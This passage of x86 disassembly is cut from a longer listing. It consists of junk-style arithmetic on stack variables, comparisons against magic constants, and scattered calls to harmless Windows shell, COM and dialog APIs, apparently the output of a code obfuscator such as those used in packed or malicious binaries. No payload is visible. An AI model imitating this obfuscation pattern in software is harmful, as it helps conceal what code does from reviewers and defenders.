add edx, dword [ebp - 0x26b8]
mov dword [ebp + 0x14], edx
movsx eax, word [ebp - 0x36b0]
mov ecx, dword [ebp - 0x569c]
movsx edx, word [ecx]
sub eax, edx
mov word [ebp + 0x10], ax
movsx eax, byte [ebp + 0xc]
mov ecx, dword [ebp - 0x4e90]
movsx edx, byte [ecx]
sub eax, edx
mov byte [ebp - 0x3cc2], al
mov eax, dword [ebp - 0x3118]
movzx ecx, byte [eax]
movzx edx, byte [ebp + 0x18]
add ecx, edx
mov eax, dword [ebp - 0x5b24]
mov byte [eax], cl
mov ecx, dword [ebp - 0x351c]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x3f0c]
movzx ecx, word [eax]
add edx, ecx
mov eax, dword [ebp - 0x5600]
mov word [eax], dx
mov ecx, dword [ebp - 0x3da8]
mov edx, dword [ecx]
or edx, dword [ebp - 0x26b8]
mov dword [ebp - 0x2b4c], edx
movsx eax, word [ebp - 0x36b0]
mov ecx, dword [ebp - 0x569c]
movsx ecx, word [ecx]
shl eax, cl
mov word [ebp + 0x10], ax
mov edx, dword [ebp - 0x5ab4]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x42e4]
sar eax, cl
mov ecx, dword [ebp - 0x539c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x26b8]
xor edx, dword [ebp - 0x2b4c]
mov eax, dword [ebp - 0x3da8]
mov dword [eax], edx
mov ecx, dword [ebp - 0x5ab4]
mov edx, dword [ebp - 0x27d0]
and edx, dword [ecx]
mov eax, dword [ebp - 0x4d68]
mov dword [eax], edx
movzx ecx, byte [ebp - 0x9b9]
mov edx, dword [ebp - 0x5b24]
movzx eax, byte [edx]
add ecx, eax
mov edx, dword [ebp - 0x3118]
mov byte [edx], cl
mov eax, dword [ebp - 0x3da8]
mov ecx, dword [ebp - 0x1bc0]
add ecx, dword [eax]
mov dword [ebp + 0x14], ecx
mov edx, dword [ebp - 0xed0]
mov eax, dword [edx]
sub eax, dword [ebp - 0x2960]
mov dword [ebp - 0x42e4], eax
mov ecx, dword [ebp - 0x2b4c]
sub ecx, dword [ebp - 0xee0]
mov edx, dword [ebp - 0x3da8]
mov dword [edx], ecx
mov eax, dword [ebp - 0x5f8c]
mov ecx, dword [eax]
and ecx, dword [ebp - 0x27d0]
mov edx, dword [ebp - 0x539c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x539c]
mov ecx, dword [ebp - 0x5ab4]
mov edx, dword [eax]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x5f8c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x5b24]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x3780]
movzx ecx, byte [eax]
add edx, ecx
mov eax, dword [ebp - 0x3118]
mov byte [eax], dl
mov ecx, dword [ebp - 0x3790]
add ecx, 0x73
mov dword [ebp - 0x3790], ecx
movzx edx, word [ebp - 0x2df0]
movzx eax, word [ebp - 0x5180]
add edx, eax
mov word [ebp - 0x5668], dx
movsx ecx, word [ebp - 0x36b0]
mov edx, dword [ebp - 0x569c]
movsx eax, word [edx]
sub ecx, eax
mov word [ebp + 0x10], cx
mov ecx, dword [ebp - 0x4e90]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x5cc4]
movsx ecx, byte [eax]
or edx, ecx
mov byte [ebp - 0x3cc2], dl
mov edx, dword [ebp - 0x3da8]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x1bc0]
shl eax, cl
mov dword [ebp + 0x14], eax
mov ecx, dword [ebp - 0x539c]
mov edx, dword [ebp - 0x5ab4]
mov eax, dword [ecx]
xor eax, dword [edx]
mov ecx, dword [ebp - 0x539c]
mov dword [ecx], eax
movzx edx, word [ebp - 0x5668]
movzx ecx, word [ebp - 0x1ff8]
sar edx, cl
mov word [ebp - 0x2df0], dx
movzx eax, byte [ebp + 0x18]
mov ecx, dword [ebp - 0x5b24]
movzx edx, byte [ecx]
and eax, edx
mov byte [ebp - 0x9b9], al
mov eax, dword [ebp - 0x3da8]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x1bc0]
mov edx, dword [ebp - 0x3da8]
mov dword [edx], ecx
mov eax, dword [ebp - 0x5ab4]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x42e4]
mov edx, dword [ebp - 0x4d68]
mov dword [edx], ecx
mov eax, dword [ebp - 0xed0]
mov ecx, dword [ebp - 0x5644]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x4d68]
mov dword [edx], ecx
mov eax, dword [ebp - 0xee0]
sub eax, dword [ebp - 0x1bc0]
mov dword [ebp + 0x14], eax
mov ecx, dword [ebp - 0x3f0c]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x5668]
sub edx, eax
mov ecx, dword [ebp - 0x3f0c]
mov word [ecx], dx
mov edx, dword [ebp - 0x3118]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x9b9]
and eax, ecx
mov byte [ebp - 0xf3d], al
mov edx, dword [ebp - 0xed0]
mov eax, dword [ebp - 0x42e4]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x5f8c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x5ab4]
mov eax, dword [ebp - 0x27d0]
add eax, dword [edx]
mov ecx, dword [ebp - 0x4d68]
mov dword [ecx], eax
mov edx, dword [ebp + 0x14]
add edx, dword [ebp - 0xee0]
mov eax, dword [ebp - 0x3da8]
mov dword [eax], edx
mov ecx, dword [ebp - 0x5f8c]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x27d0]
shl edx, cl
mov dword [ebp - 0x3cac], edx
mov eax, dword [ebp - 0xed0]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x42e4]
sar edx, cl
mov eax, dword [ebp - 0xed0]
mov dword [eax], edx
mov ecx, dword [ebp - 0x5cc4]
movsx edx, byte [ecx]
movsx eax, byte [ebp + 8]
xor edx, eax
mov byte [ebp - 0x3cc2], dl
cmp dword [ebp - 0x3790], 0xb67c
jne 0x42d227
mov ecx, dword [ebp - 0x3da8]
mov edx, dword [ecx]
or edx, dword [ebp + 0x14]
mov eax, dword [ebp - 0x1bc0]
and eax, dword [ebp - 0x2b4c]
cmp edx, eax
ja 0x42d7c0
mov cx, word [ebp - 0x36b0]
mov word [ebp - 0x2f8], cx
movsx edx, word [ebp + 0x10]
mov dword [ebp - 0x6154], edx
cmp dword [ebp - 0x6154], 0x199
je 0x42d6ec
cmp dword [ebp - 0x6154], 0x6a88
je 0x42d734
jmp 0x42d777
movzx eax, word [ebp - 0x2df0]
movzx ecx, word [ebp - 0x1ff8]
sub eax, ecx
mov edx, dword [ebp - 0x3f0c]
mov word [edx], ax
lea eax, [ebp - 0x569c]
push eax
lea ecx, [ebp - 0x5854]
push ecx
lea edx, [ebp - 0x1090]
push edx
push 0x9f
lea eax, [ebp - 0xbb0]
push eax
call dword [sym.imp.ole32.dll_CoGetClassObject]
mov dword [ebp - 0xdc0], eax
jmp 0x42d777
mov ecx, dword [ebp - 0x2960]
push ecx
movzx edx, byte [ebp - 0xf3d]
push edx
call fcn.004ef7c0
add esp, 8
mov eax, dword [ebp - 0x5b24]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0xf3d]
add ecx, edx
mov byte [ebp - 0x9b9], cl
mov eax, dword [ebp - 0xee0]
sub eax, dword [ebp - 0x26b8]
mov ecx, dword [ebp - 0x3da8]
mov dword [ecx], eax
mov edx, dword [ebp - 0x5f8c]
mov eax, dword [ebp - 0x5ab4]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov edx, dword [ebp - 0xed0]
mov dword [edx], ecx
lea eax, [ebp - 0x2df0]
mov dword [ebp - 0x55ac], eax
movzx ecx, byte [ebp + 0x18]
mov edx, dword [ebp - 0x3118]
movzx eax, byte [edx]
add ecx, eax
mov edx, dword [ebp - 0x3780]
mov byte [edx], cl
mov eax, dword [ebp - 0x3da8]
mov ecx, dword [eax]
mov dword [ebp - 0x1d20], ecx
mov edx, dword [ebp - 0xed0]
mov eax, dword [edx]
add eax, dword [ebp - 0x27d0]
mov dword [ebp - 0x5644], eax
mov cl, byte [ebp + 0x18]
mov byte [ebp - 0x6158], cl
cmp byte [ebp - 0x6158], 0
je 0x42d7eb
jmp 0x46c72b
movzx edx, word [ebp - 0x1ff8]
mov dword [ebp - 0x615c], edx
cmp dword [ebp - 0x615c], 0x53e
je 0x42d815
cmp dword [ebp - 0x615c], 0xf111
je 0x42d861
jmp 0x42d9c3
mov eax, dword [ebp - 0x3da8]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x1d20]
mov dword [ebp - 0x26b8], ecx
mov edx, dword [ebp - 0x3da8]
mov eax, dword [edx]
add eax, dword [ebp + 0x14]
mov ecx, dword [ebp - 0x3da8]
mov dword [ecx], eax
push 0x17
call dword [sym.imp.SHELL32.dll_SHChangeNotifyDeregister]
mov dword [ebp - 0x5098], eax
mov edx, dword [ebp - 0x5644]
sub edx, dword [ebp - 0x42e4]
mov dword [ebp - 0x27d0], edx
jmp 0x42d9c3
mov eax, dword [ebp - 0x569c]
movsx ecx, word [eax]
mov dword [ebp - 0x6160], ecx
cmp dword [ebp - 0x6160], 0
je 0x42d88e
cmp dword [ebp - 0x6160], 0x5cba
je 0x42d9a2
jmp 0x42d9c3
mov edx, dword [ebp - 0x3cac]
mov dword [ebp - 0x6164], edx
cmp dword [ebp - 0x6164], 0x1ce8c3e4
je 0x42d8bb
cmp dword [ebp - 0x6164], 0x7e559a83
je 0x42d983
jmp 0x42d9a0
mov eax, dword [ebp - 0x539c]
mov ecx, dword [eax]
mov dword [ebp - 0x6168], ecx
cmp dword [ebp - 0x6168], 0x17efed35
je 0x42d8e6
cmp dword [ebp - 0x6168], 0x459fe74f
je 0x42d956
jmp 0x42d981
mov edx, dword [ebp - 0x5f8c]
mov eax, dword [edx]
and eax, dword [ebp - 0x5644]
mov ecx, dword [ebp - 0x4d68]
mov dword [ecx], eax
movzx edx, byte [ebp - 0x44ad]
push edx
mov eax, dword [ebp - 0x3da8]
mov ecx, dword [eax]
push ecx
mov edx, dword [ebp - 0x569c]
movzx eax, word [edx]
push eax
movzx ecx, byte [ebp + 0xc]
push ecx
mov edx, dword [ebp - 0x5cc4]
movzx eax, byte [edx]
push eax
call fcn.00429f50
lea ecx, [ebp - 0x3f4]
push ecx
call dword [sym.imp.SHELL32.dll_SHBrowseForFolderW]
mov dword [ebp - 0x3b6c], eax
mov edx, dword [ebp - 0x5ab4]
mov eax, dword [ebp - 0x42e4]
or eax, dword [edx]
mov ecx, dword [ebp - 0xed0]
mov dword [ecx], eax
jmp 0x42d981
mov edx, dword [ebp - 0x3da8]
mov edx, dword [edx]
mov ecx, dword [ebp - 0x5180]
call fcn.004721c0
mov eax, dword [ebp - 0x3780]
movzx edx, byte [eax]
movzx ecx, byte [ebp - 0x9b9]
sar edx, cl
mov byte [ebp - 0xf3d], dl
jmp 0x42d9a0
mov eax, dword [ebp - 0x5600]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x3f0c]
movzx eax, word [edx]
xor ecx, eax
mov edx, dword [ebp - 0x351c]
mov word [edx], cx
jmp 0x42d9c3
lea eax, [ebp - 0x4c7c]
push eax
lea ecx, [ebp - 0x34cc]
push ecx
lea edx, [ebp - 0x4f58]
push edx
call dword [sym.imp.ole32.dll_CoGetInterfaceAndReleaseStream]
mov dword [ebp - 0x5b94], eax
movsx eax, word [ebp - 0x36b0]
mov dword [ebp - 0x616c], eax
cmp dword [ebp - 0x616c], 0x5b6e
je 0x42d9de
jmp 0x42da03
lea ecx, [ebp - 0x3a58]
push ecx
lea edx, [ebp - 0x2cc8]
push edx
lea eax, [ebp - 0x39fc]
push eax
call sub.gdiplus.dll_GdiplusStartup
mov dword [ebp - 0x1bc0], eax
jmp 0x46c65b
mov ecx, dword [ebp - 0x569c]
movsx edx, word [ecx]
mov dword [ebp - 0x6170], edx
cmp dword [ebp - 0x6170], 0x27c5
je 0x42da2f
cmp dword [ebp - 0x6170], 0x60e8
je 0x42da67
jmp 0x42daff
mov eax, dword [ebp - 0x3780]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x5b24]
movzx eax, byte [edx]
sub ecx, eax
mov edx, dword [ebp - 0x3780]
mov byte [edx], cl
movzx eax, word [ebp - 0x1ff8]
movzx ecx, word [ebp - 0x5180]
add eax, ecx
mov word [ebp - 0x5668], ax
jmp 0x42daff
mov dl, byte [ebp - 0x3cc2]
mov byte [ebp - 0x6174], dl
cmp byte [ebp - 0x6174], 0x3a
je 0x42da87
cmp byte [ebp - 0x6174], 0x43
je 0x42dae5
jmp 0x42daff
mov eax, dword [ebp - 0x569c]
movsx ecx, word [eax]
movsx edx, word [ebp - 0x36b0]
add ecx, edx
mov eax, dword [ebp - 0x569c]
mov word [eax], cx
lea ecx, [ebp - 0x3a4c]
push ecx
call dword [sym.imp.COMDLG32.dll_ReplaceTextW]
mov dword [ebp - 0x2310], eax
mov edx, dword [ebp - 0x4e90]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x5cc4]
movsx edx, byte [ecx]
sub eax, edx
mov byte [ebp - 0x3cc2], al
mov eax, dword [ebp - 0x1bc0]
sub eax, dword [ebp - 0xee0]
mov ecx, dword [ebp - 0x3da8]
mov dword [ecx], eax
jmp 0x42daff
lea edx, [ebp - 0x44ad]
push edx
lea eax, [ebp - 0x4118]
push eax
call dword [sym.imp.ole32.dll_OleDoAutoConvert]
mov dword [ebp - 0x4e20], eax
mov cl, byte [ebp - 0x3cc2]
mov byte [ebp - 0x6178], cl
cmp byte [ebp - 0x6178], 0
je 0x42db19
jmp 0x46c48d
mov edx, dword [ebp - 0x4d68]
mov eax, dword [edx]
sub eax, dword [ebp - 0x42e4]
mov ecx, dword [ebp - 0xed0]
mov edx, dword [ebp - 0x539c]
mov esi, dword [ecx]
mov ecx, dword [edx]
sar esi, cl
cmp eax, esi
je 0x42dba3
lea eax, [ebp - 0x3780]
push eax
call dword [sym.imp.SHELL32.dll_SHGetDesktopFolder]
mov dword [ebp - 0x4e20], eax
mov ecx, dword [ebp - 0x2b4c]
or ecx, dword [ebp - 0x1bc0]
mov edx, dword [ebp - 0x3da8]
mov dword [edx], ecx
mov eax, dword [ebp - 0xed0]
mov ecx, dword [ebp - 0x27d0]
xor ecx, dword [eax]
mov dword [ebp - 0x3cac], ecx
mov edx, dword [ebp - 0x5ab4]
mov eax, dword [ebp - 0x27d0]
mov ecx, dword [edx]
shl eax, cl
mov ecx, dword [ebp - 0xed0]
mov dword [ecx], eax
lea edx, [ebp - 0x3618]
push edx
call dword [sym.imp.COMDLG32.dll_PageSetupDlgW]
mov dword [ebp - 0x35b4], eax
mov eax, dword [ebp - 0x26b8]
mov dword [ebp - 0x617c], eax
cmp dword [ebp - 0x617c], 0xbfefe705
je 0x42dbbd
jmp 0x42dc32
mov ecx, dword [ebp - 0x569c]
movsx edx, word [ecx]
movsx eax, word [ebp - 0x34dc]
and edx, eax
mov word [ebp + 0x10], dx
mov ecx, dword [ebp - 0x5ab4]
mov edx, dword [ebp - 0x3cac]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x5f8c]
mov dword [eax], edx
lea ecx, [ebp - 0x2b4c]
push ecx
lea edx, [ebp - 0x27d0]
push edx
call dword [sym.imp.SHELL32.dll_SHIsFileAvailableOffline]
mov dword [ebp - 0x37c4], eax
mov eax, dword [ebp - 0x569c]
mov cx, word [eax]
mov word [ebp - 0x34dc], cx
mov edx, dword [ebp - 0x5cc4]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x3cc2]
add eax, ecx
mov edx, dword [ebp - 0x5cc4]
mov byte [edx], al
jmp 0x42dcc4
mov eax, dword [ebp - 0x3118]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x3780]
movzx eax, byte [edx]
add ecx, eax
mov edx, dword [ebp - 0x3118]
mov byte [edx], cl
mov al, byte [ebp - 0x44ad]
mov byte [ebp - 0x6180], al
cmp byte [ebp - 0x6180], 0
je 0x42dc6e
cmp byte [ebp - 0x6180], 0xe9
je 0x42dca2
jmp 0x42dcba
mov ecx, dword [ebp - 0x351c]
mov dx, word [ecx]
mov word [ebp - 0x3ee8], dx
lea eax, [ebp - 0x1d20]
mov dword [ebp - 0x12e0], eax
mov ecx, dword [ebp - 0x3da8]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x12e0]
add edx, dword [eax]
mov dword [ebp - 0x2b4c], edx
jmp 0x42dcba
call fcn.004d7e60
lea ecx, [ebp - 0x4298]
push ecx
call dword [sym.imp.COMDLG32.dll_GetSaveFileNameW]
mov dword [ebp - 0x27dc], eax
mov dword [ebp - 0x44f4], 0x662
movsx edx, word [ebp - 0x36b0]
mov dword [ebp - 0x6184], edx
cmp dword [ebp - 0x6184], 0
je 0x42dcef
cmp dword [ebp - 0x6184], 0x1cb3
je 0x42ddbd
jmp 0x42ddfb
mov eax, dword [ebp - 0x1bc0]
mov dword [ebp - 0x6188], eax
cmp dword [ebp - 0x6188], 0xe78d23fd
je 0x42dd0c
jmp 0x42ddbb
mov cl, byte [ebp - 0x3cc2]
mov byte [ebp - 0x618c], cl
cmp byte [ebp - 0x618c], 0x2e
je 0x42dd77
cmp byte [ebp - 0x618c], 0x6c
je 0x42dd2f
jmp 0x42ddbb
movzx edx, word [ebp - 0x2df0]
mov eax, dword [ebp - 0x5600]
movzx ecx, word [eax]
and edx, ecx
mov eax, dword [ebp - 0x55ac]
mov word [eax], dx
movzx ecx, byte [ebp - 0xf3d]
movzx edx, byte [ebp - 0x44ad]
sub ecx, edx
mov byte [ebp + 0x18], cl
mov eax, dword [ebp - 0x4d68]
mov ecx, dword [ebp - 0xed0]
mov edx, dword [eax]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x5ab4]
mov dword [eax], edx
jmp 0x42ddbb
lea ecx, [ebp - 0xed0]
push ecx
lea edx, [ebp - 0x11dc]
push edx
lea eax, [ebp - 0x4438]
push eax
lea ecx, [ebp - 0x5b0c]
push ecx
lea edx, [ebp - 0x2014]
push edx
lea eax, [ebp - 0x5b0c]
push eax
lea ecx, [ebp - 0x1090]
push ecx
lea edx, [ebp - 0x2310]
push edx
call dword [sym.imp.ole32.dll_CoQueryProxyBlanket]
mov dword [ebp - 0x5b94], eax
jmp 0x42ddfb
mov eax, dword [ebp - 0x3da8]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x5668]
call fcn.004721c0
mov ecx, dword [ebp - 0x1bc0]
sub ecx, dword [ebp + 0x14]
mov edx, dword [ebp - 0x12e0]
mov dword [edx], ecx
lea eax, [ebp - 0x3b6c]
push eax
lea ecx, [ebp - 0x1ce0]
push ecx
call dword [sym.imp.SHELL32.dll_SHIsFileAvailableOffline]
mov dword [ebp - 0x4e20], eax
mov edx, dword [ebp - 0xed0]
mov eax, dword [ebp - 0x3cac]
add eax, dword [edx]
mov dword [ebp - 0x27d0], eax
movsx ecx, word [ebp - 0x34dc]
movsx edx, word [ebp - 0x2f8]
or ecx, edx
mov word [ebp + 0x10], cx
movzx eax, byte [ebp + 0x18]
movzx ecx, byte [ebp - 0xf3d]
xor eax, ecx
mov byte [ebp - 0x9b9], al
mov edx, dword [ebp - 0x3f0c]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x1ff8]
sar eax, cl
mov ecx, dword [ebp - 0x55ac]
mov word [ecx], ax
mov edx, dword [ebp - 0x12e0]
mov eax, dword [edx]
mov ecx, dword [ebp + 0x14]
shl eax, cl
mov ecx, dword [ebp - 0x3da8]
mov dword [ecx], eax
mov edx, dword [ebp - 0x3118]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x44ad]
and eax, ecx
mov byte [ebp + 0x18], al
mov edx, dword [ebp - 0x569c]
movsx eax, word [edx]
movsx ecx, word [ebp - 0x34dc]
add eax, ecx
mov word [ebp + 0x10], ax
mov edx, dword [ebp - 0x5cc4]
movsx eax, byte [edx]
movsx ecx, byte [ebp + 8]
add eax, ecx
mov byte [ebp - 0x3cc2], al
mov edx, dword [ebp - 0xe8c]
add edx, 0x30
mov dword [ebp - 0xe8c], edx
movzx eax, byte [ebp - 0x9b9]
mov ecx, dword [ebp - 0x3780]
movzx edx, byte [ecx]
sub eax, edx
mov byte [ebp - 0x44ad], al
movzx eax, word [ebp - 0x2df0]
mov ecx, dword [ebp - 0x351c]
movzx edx, word [ecx]
sub eax, edx
mov ecx, dword [ebp - 0x3f0c]
mov word [ecx], ax
mov edx, dword [ebp - 0x3da8]
mov eax, dword [ebp - 0x1bc0]
add eax, dword [edx]
mov dword [ebp - 0x1d20], eax
cmp dword [ebp - 0xe8c], 0x918f
jb 0x42ddfb
mov ecx, dword [ebp - 0x5f8c]
mov edx, dword [ecx]
mov dword [ebp - 0x2118], edx
mov eax, dword [ebp - 0x3cac]
and eax, dword [ebp - 0x5644]
mov dword [ebp - 0x42e4], eax
movzx ecx, word [ebp - 0x2df0]
mov edx, dword [ebp - 0x55ac]
movzx eax, word [edx]
add ecx, eax
movzx edx, word [ebp - 0x5668]
movzx eax, word [ebp - 0x1ff8]
sub edx, eax
cmp ecx, edx
jg 0x46c3fb
movsx ecx, byte [ebp - 0x3cc2]
movsx edx, byte [ebp + 0xc]
xor ecx, edx
movsx eax, byte [ebp + 8]
mov edx, dword [ebp - 0x5cc4]
movsx edx, byte [edx]
and eax, edx
cmp ecx, eax
jl 0x46c3d0
lea eax, [ebp + 0x14]
mov dword [ebp - 0x3a60], eax
lea ecx, [ebp - 0x5644]
mov dword [ebp - 0x4c40], ecx
mov edx, dword [ebp - 0x5ab4]
mov eax, dword [edx]
mov dword [ebp - 0x6190], eax
cmp dword [ebp - 0x6190], 0
je 0x42dfbb
cmp dword [ebp - 0x6190], 0x73d7cb32
je 0x42e0de
jmp 0x42e22e
mov cl, byte [ebp - 0x44ad]
mov byte [ebp - 0x6194], cl
cmp byte [ebp - 0x6194], 0
je 0x42dfe2
cmp byte [ebp - 0x6194], 0x56
je 0x42e0b1
jmp 0x42e0d9
mov edx, dword [ebp - 0x3780]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x3118]
movzx edx, byte [ecx]
add eax, edx
movzx ecx, byte [ebp - 0xf3d]
mov edx, dword [ebp - 0x5b24]
movzx edx, byte [edx]
sub ecx, edx
cmp eax, ecx
je 0x42e025
mov eax, dword [ebp - 0x27d0]
add eax, dword [ebp - 0x2960]
mov ecx, dword [ebp - 0x5ab4]
mov dword [ecx], eax
jmp 0x42e0af
mov edx, dword [ebp - 0x569c]
movsx eax, word [edx]
movsx ecx, word [ebp + 0x10]
sub eax, ecx
movsx edx, word [ebp - 0x34dc]
movsx ecx, word [ebp - 0x36b0]
add edx, ecx
cmp eax, edx
jg 0x42e0af
mov edx, dword [ebp - 0x5b24]
mov al, byte [edx]
mov byte [ebp - 0x6198], al
cmp byte [ebp - 0x6198], 0xde
je 0x42e061
jmp 0x42e0af
push 0xc1
mov ecx, dword [ebp - 0xfc8]
push ecx
mov edx, dword [ebp - 0x182c]
push edx
call dword [sym.imp.COMCTL32.dll_DrawInsert]
mov eax, dword [ebp - 0x3780]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x5b24]
movzx eax, byte [edx]
and ecx, eax
mov byte [ebp - 0x44ad], cl
movzx ecx, word [ebp - 0x5180]
mov edx, dword [ebp - 0x5600]
movzx eax, word [edx]
sub ecx, eax
mov edx, dword [ebp - 0x3f0c]
mov word [edx], cx
jmp 0x42e0d9
push 0xc4
lea eax, [ebp - 0x5600]
push eax
push 0xa
lea ecx, [ebp - 0x3a4c]
push ecx
lea edx, [ebp - 0x2014]
push edx
call dword [sym.imp.SHELL32.dll_SHGetDataFromIDListW]
mov dword [ebp - 0x37a4], eax
jmp 0x42e22e
mov eax, dword [ebp - 0x55ac]
movzx ecx, word [eax]
push ecx
movzx edx, byte [ebp + 0xc]
push edx
movzx eax, word [ebp - 0x2f8]
push eax
mov dl, byte [ebp - 0x44ad]
mov cl, byte [ebp - 0x9b9]
call fcn.00478870
movsx edx, byte [ebp - 0x3cc2]
mov eax, dword [ebp - 0x5cc4]
movsx ecx, byte [eax]
shl edx, cl
mov byte [ebp + 8], dl
movsx edx, word [ebp + 0x10]
movsx ecx, word [ebp - 0x34dc]
sar edx, cl
mov eax, dword [ebp - 0x569c]
mov word [eax], dx
mov cl, byte [ebp - 0x3cc2]
mov byte [ebp - 0x619c], cl
cmp byte [ebp - 0x619c], 0x20
je 0x42e158
cmp byte [ebp - 0x619c], 0x5d
je 0x42e215
jmp 0x42e22e
movzx edx, byte [ebp - 0x44ad]
push edx
mov eax, dword [ebp - 0x5cc4]
movzx ecx, byte [eax]
push ecx
call fcn.004d1cd0
lea edx, [ebp - 0x47c]
push edx
push str.Kindred_Tripartite_participative_strode
call dword [sym.imp.ole32.dll_GetClassFile]
mov dword [ebp - 0x29b8], eax
mov eax, dword [ebp - 0x3cac]
mov dword [ebp - 0x61a0], eax
cmp dword [ebp - 0x61a0], 0x777714d4
je 0x42e1a1
jmp 0x42e1eb
mov ecx, dword [ebp - 0x12e0]
mov edx, dword [ebp - 0x3a60]
mov eax, dword [ecx]
xor eax, dword [edx]
mov ecx, dword [ebp - 0x12e0]
mov dword [ecx], eax
mov edx, dword [ebp - 0xed0]
mov eax, dword [edx]
or eax, dword [ebp - 0x2960]
mov dword [ebp - 0x5644], eax
mov ecx, dword [ebp - 0x3780]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x5b24]
movzx ecx, byte [eax]
sub edx, ecx
mov eax, dword [ebp - 0x3118]
mov byte [eax], dl
jmp 0x42e213
push 0xc6
lea ecx, [ebp - 0x1090]
push ecx
push 0x35
lea edx, [ebp - 0x60ac]
push edx
lea eax, [ebp - 0x42e4]
push eax
call dword [sym.imp.SHELL32.dll_SHGetDataFromIDListW]
mov dword [ebp - 0x5b94], eax
jmp 0x42e22e
movzx ecx, word [ebp - 0x5668]
movzx edx, word [ebp - 0x3ee8]
and ecx, edx
mov eax, dword [ebp - 0x3f0c]
mov word [eax], cx
cmp dword [ebp - 0x388], 0xe43
jb 0x42e5a9
mov ecx, dword [ebp - 0x12e0]
mov edx, dword [ebp - 0x26b8]
add edx, dword [ecx]
mov dword [ebp - 0x2b4c], edx
mov eax, dword [ebp - 0x4d68]
mov ecx, dword [ebp - 0x5ab4]
mov edx, dword [eax]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x4c40]
mov dword [eax], edx
mov ecx, dword [ebp - 0x5f8c]
mov edx, dword [ecx]
add edx, dword [ebp - 0x42e4]
mov dword [ebp - 0x3cac], edx
mov eax, dword [ebp - 0x12e0]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x1bc0]
mov edx, dword [ebp - 0x12e0]
mov dword [edx], ecx
movzx eax, word [ebp - 0x5668]
mov ecx, dword [ebp - 0x3f0c]
movzx edx, word [ecx]
sub eax, edx
mov word [ebp - 0x1ff8], ax
mov eax, dword [ebp - 0x5b24]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x3118]
movzx eax, byte [edx]
add ecx, eax
mov edx, dword [ebp - 0x3780]
mov byte [edx], cl
mov eax, dword [ebp - 0x3a60]
mov ecx, dword [eax]
add ecx, dword [ebp - 0xee0]
mov dword [ebp + 0x14], ecx
mov edx, dword [ebp - 0x5ab4]
mov eax, dword [edx]
and eax, dword [ebp - 0x3cac]
mov ecx, dword [ebp - 0x5f8c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x3da8]
mov eax, dword [ebp - 0x1bc0]
xor eax, dword [edx]
mov ecx, dword [ebp - 0x12e0]
mov dword [ecx], eax
mov edx, dword [ebp - 0x5644]
or edx, dword [ebp - 0x3cac]
mov eax, dword [ebp - 0xed0]
mov dword [eax], edx
mov ecx, dword [ebp - 0x12e0]
mov edx, dword [ebp - 0x1d20]
mov ecx, dword [ecx]
shr edx, cl
mov dword [ebp + 0x14], edx
mov eax, dword [ebp - 0x5cc4]
movsx edx, byte [eax]
movsx ecx, byte [ebp - 0x3cc2]
shl edx, cl
mov eax, dword [ebp - 0x4e90]
mov byte [eax], dl
mov ecx, dword [ebp - 0x569c]
movsx edx, word [ecx]
movsx eax, word [ebp - 0x36b0]
sub edx, eax
mov ecx, dword [ebp - 0x569c]
mov word [ecx], dx
movzx edx, word [ebp - 0x2df0]
mov eax, dword [ebp - 0x5600]
movzx ecx, word [eax]
add edx, ecx
mov word [ebp - 0x3ee8], dx
movzx edx, byte [ebp - 0x9b9]
mov eax, dword [ebp - 0x5b24]
movzx ecx, byte [eax]
and edx, ecx
mov byte [ebp - 0xf3d], dl
mov edx, dword [ebp - 0x3da8]
mov eax, dword [ebp - 0x1bc0]
add eax, dword [edx]
mov ecx, dword [ebp - 0x3a60]
mov dword [ecx], eax
mov edx, dword [ebp - 0x4c40]
mov eax, dword [ebp - 0x5f8c]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x4c40]
mov dword [edx], ecx
movzx eax, word [ebp - 0x5180]
mov ecx, dword [ebp - 0x5600]
movzx edx, word [ecx]
sub eax, edx
mov ecx, dword [ebp - 0x55ac]
mov word [ecx], ax
movzx edx, byte [ebp - 0x9b9]
mov eax, dword [ebp - 0x5b24]
movzx ecx, byte [eax]
add edx, ecx
mov eax, dword [ebp - 0x3780]
mov byte [eax], dl
mov ecx, dword [ebp - 0x3a60]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x3da8]
add edx, dword [eax]
mov dword [ebp - 0x26b8], edx
mov ecx, dword [ebp - 0x388]
sub ecx, 0x7c
mov dword [ebp - 0x388], ecx
mov edx, dword [ebp - 0x5f8c]
mov eax, dword [edx]
sub eax, dword [ebp - 0x42e4]
mov ecx, dword [ebp - 0x5f8c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x2960]
